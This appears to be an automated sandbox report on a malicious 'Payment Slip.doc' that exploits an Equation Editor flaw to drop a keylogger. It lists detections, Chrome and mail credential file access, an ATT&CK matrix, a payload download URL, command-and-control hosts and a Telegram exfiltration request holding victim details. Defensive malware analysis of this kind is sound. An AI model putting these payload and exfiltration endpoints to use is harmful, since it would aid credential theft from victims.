Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Queries volume information: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe VolumeInformation	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Jump to behavior

Source: Yara match	File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	33 Exploitation for Client Execution	Boot or Logon Initialization Scripts	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	14 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Install Root Certificate	NTDS	1 Process Discovery	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	1 Input Capture	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	111 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payment Slip.doc	45%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882
Payment Slip.doc	100%	Avira	HEUR/Rtf.Malformed

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	100%	Avira	HEUR/AGEN.1308792
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe	100%	Avira	HEUR/AGEN.1308792
C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://varders.kozow.com:8081	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://aborters.duckdns.org:8081	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://anotherarmy.dns.army:8081	100%	URL Reputation	malware
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	URL Reputation	safe
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Avira URL Cloud	safe
http://66.63.187.123/txt/LLnsOpxxAnmWi.exerrC:	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
http://reallyfreegeoip.org	0%	Avira URL Cloud	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	Avira URL Cloud	safe
http://checkip.dyndns.com	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.334	0%	Avira URL Cloud	safe
https://www.google.com/search?q=wmf	0%	Avira URL Cloud	safe
http://ocsp.entrust.net0D	0%	Avira URL Cloud	safe
https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i	0%	Avira URL Cloud	safe
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	0%	Avira URL Cloud	safe
http://crl.entrust.net/server1.crl0	0%	Avira URL Cloud	safe
http://66.63.187.123/txt/LLnsOpxxAnmWi.exej	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://66.63.187.123/txt/LLnsOpxxAnmWi.exeC:	0%	Avira URL Cloud	safe
http://66.63.187.123/txt/LLnsOpxxAnmWi.exe	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=	0%	Avira URL Cloud	safe
http://66.63.187.123/txt/LLnsOpxxAnmWi.exea	0%	Avira URL Cloud	safe
https://www.google.com/sorry/index	0%	Avira URL Cloud	safe
http://66.63.187.123/txt/LLnsOpxxAnmWi.exee	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Avira URL Cloud	safe
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a	0%	Avira URL Cloud	safe
https://www.google.com/search?q=net	0%	Avira URL Cloud	safe
https://www.google.com/sorry/indextest	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20a	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%209/26/2024%20/%204:38:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe
https://secure.comodo.com/CPS0	0%	Avira URL Cloud	safe
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.96.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	132.226.8.169	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	Avira URL Cloud: safe	unknown
http://66.63.187.123/txt/LLnsOpxxAnmWi.exe	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%209/26/2024%20/%204:38:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf	vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000250A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002502000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://66.63.187.123/txt/LLnsOpxxAnmWi.exerrC:	EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.334	vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002437000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://varders.kozow.com:8081	vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search?q=wmf	vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://reallyfreegeoip.org	vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000240C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.com	vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vvndewepeter91026.exe, 00000005.00000002.405973235.0000000002547000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i	vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024C5000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002437000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023E8000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002502000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://66.63.187.123/txt/LLnsOpxxAnmWi.exeC:	EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aborters.duckdns.org:8081	vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
